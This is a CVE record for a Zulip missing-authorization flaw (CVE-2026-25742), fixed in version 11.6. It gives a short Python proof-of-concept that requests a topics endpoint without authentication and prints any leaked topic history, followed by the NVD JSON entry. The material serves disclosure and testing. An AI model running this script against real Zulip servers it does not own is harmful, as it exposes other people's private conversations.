CVE-2026-25742

import requests def check_vulnerability(base_url, stream_id): """ Check if the /users/me/<stream_id>/topics endpoint is accessible anonymously. """ target_url = f"{base_url}/users/me/{stream_id}/topics" try: # Send request without authentication headers response = requests.get(target_url, timeout=10) if response.status_code == 200: print("[+] Vulnerability Confirmed!") print(f"[+] Topic history leaked: {response.text}") elif response.status_code == 401 or response.status_code == 403: print("[-] Access denied. System might be patched.") else: print(f"[?] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with actual target details target_base = "http://localhost:9991" test_stream_id = "1" check_vulnerability(target_base, test_stream_id)

{"cve": {"id": "CVE-2026-25742", "sourceIdentifier": "[email protected]", "published": "2026-04-03T21:17:10.060", "lastModified": "2026-04-13T18:07:16.917", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Zulip is an open-source team collaboration tool. Prior to version 11.6, Zulip is an open-source team collaboration tool. From version 1.4.0 to before version 11.6, even after spectator access (enable_spectator_access / WEB_PUBLIC_STREAMS_ENABLED) is disabled, attachments originating from web-public streams can still be retrieved anonymously. As a result, file contents remain accessible even after public access is intended to be disabled. Similarly, even after spectator access is disabled, the /users/me/<stream_id>/topics endpoint remains reachable anonymously, allowing retrieval of topic history for web-public streams. This issue has been patched in version 11.6. This issue has been patched in version 11.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zulip:zulip:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.4.0", "versionEndExcluding": "11.6", "matchCriteriaId": "1599A04E-3187-4BCA-A29C-22595CCB1BA8"}]}]}], "references": [{"url": "https://github.com/zulip/zulip/commit/3c045414299680b9f5dca7d76cf6cef6121c0236", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/zulip/zulip/commit/41e23347b5218b3b0397a55176c7d97396735bae", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/zulip/zulip/releases/tag/11.6", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/zulip/zulip/security/advisories/GHSA-f47p-xjqq-g28w", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/zulip/zulip/security/advisories/GHSA-f47p-xjqq-g28w", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}